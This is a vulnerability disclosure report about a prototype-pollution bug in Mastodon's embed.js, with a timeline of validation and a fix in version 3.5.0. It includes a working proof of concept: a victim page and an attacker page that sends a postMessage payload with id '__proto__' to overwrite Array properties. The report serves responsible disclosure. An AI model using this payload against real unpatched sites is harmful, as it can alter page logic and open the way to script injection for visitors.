Prototype Pollution in mastodon/mastodon

Valid

Reported on

Jan 20th 2022


Description

Javascript is "prototype" language which means when a new "object" is created, it carries the predefined properties and methods of an "object" with itself like toString, constructor etc.

By using prototype-pollution vulnerability, an attacker can overwrite/create the property of that "object" type. If the victim developer has used that property anywhere in the code, then it will have severe effect on the application.

For e.g.:

var obj = {};
console.log(obj.A); // undefined
obj["__proto__"].A = 1;
console.log(obj.A);  // 1
var new_obj = {};
console.log(new_obj.A); // 1  -> exploit

Proof of Concept

STEP 1: Victim user post toots on mastodon and embed his/her toots on his/her website using following code:

NOTE: ignore the custom code, it just explains the vulnerability on webpage. focus on the official code provided by mastodon (i.e. iframe of toot and embed.js script)

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Victim's website</title>
</head>
<body>


    <div id='before'></div>
    <br>
    <div id='exploit-status'></div>
    <div id='after'></div>
    <div id='info'></div>


<script type="text/javascript">
    
    var sample = []; // Array
    document.getElementById("before").innerHTML = "var sample = [];<br><b>BEFORE</b> running the exploit, the value of sample.height = " + sample.height;

    document.getElementById("exploit-status").innerHTML = "[+] Running exploit..."
</script>

<iframe src="https://mas.to/@reo1212/107650549212219629/embed" class="mastodon-embed" style="max-width: 100%; border: 0" width="400" allowfullscreen="allowfullscreen"></iframe><script src="https://mas.to/embed.js" async="async"></script>


<script type="text/javascript">

    setTimeout(function(){

        document.getElementById("exploit-status").innerHTML = "[+] Finished"

        document.getElementById("after").innerHTML = "<b>AFTER</b> running the exploit, the value of sample.height = " + sample.height;

        document.getElementById("info").innerHTML = "To validate whether the exploit is working, please run the following in the console: \n<pre>var anything = [];\nconsole.log(anything.height);</pre> it will give you default value 100 which was set by my exploit";
    }, 6000);

</script>

</body>
</html>

STEP 2: Attacker host the following code on his/her website.

NOTE: PLEASE change the required values of target website in the code

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<p>
This exploit will create or overwrite the "height" property of "Array" object in the target browser window where "embed.js" is loaded by website.
</p>

<script>
    function exploit(){

    var target = 'http://localhost:8081/mastodon-test.html'; // CHANGE THIS VALUE

    var payload = JSON.parse('{"type": "setHeight", "id": "__proto__", "height": "100"}');
    
    window.poc = window.open(target);

    setTimeout(function(){
        window.poc.postMessage(
            payload,
            '*'
        );
    }, 4000);

}
</script>
<input type="button" onclick="exploit()" value="EXPLOIT">

</body>
</html>

STEP 3: Now, exploit the vulnerability by clicking the EXPLOIT button on attacker's website.

Now, create any array object and check the value of height property, it will be 100 as described by my exploit. video PoC will help here.

For better understanding of the bug, please check video PoC: https://drive.google.com/file/d/1vpZ0CcmFhTEUasLTPUBf8o-4l7G6ojtG/view

Impact

Prototype pollution can be used to create/overwrite predefined properties and methods of object type. It can lead to XSS, change code logic etc. based on the application code.

We are processing your report and will contact the mastodon team within 24 hours. a year ago
Rohan Sharma modified the report
a year ago
Rohan Sharma modified the report
a year ago
Rohan Sharma submitted a
a year ago
Rohan Sharma
a year ago

Researcher


I have submitted the patch. If data.id.toString() equals __proto__, then we return and do not go forward. Please check the patch, it will fix the bug (tested locally).

The fix_check_origin_and_prototype branch also contains the fix for the other vulnerability submitted by me.

We have contacted a member of the mastodon team and are waiting to hear back a year ago
We have sent a follow up to the mastodon team. We will try again in 7 days. a year ago
We have sent a second follow up to the mastodon team. We will try again in 10 days. a year ago
Eugen Rochko validated this vulnerability a year ago
Rohan Sharma has been awarded the disclosure bounty
The fix bounty is now up for grabs
Rohan Sharma
a year ago

Researcher


Hi Eugen,

I made a PR https://github.com/mastodon/mastodon/pull/17420 to fix the bug. please have a look

@maintainer

Eugen Rochko marked this as fixed in 3.5.0 with commit 4d6d4b a year ago
Rohan Sharma has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation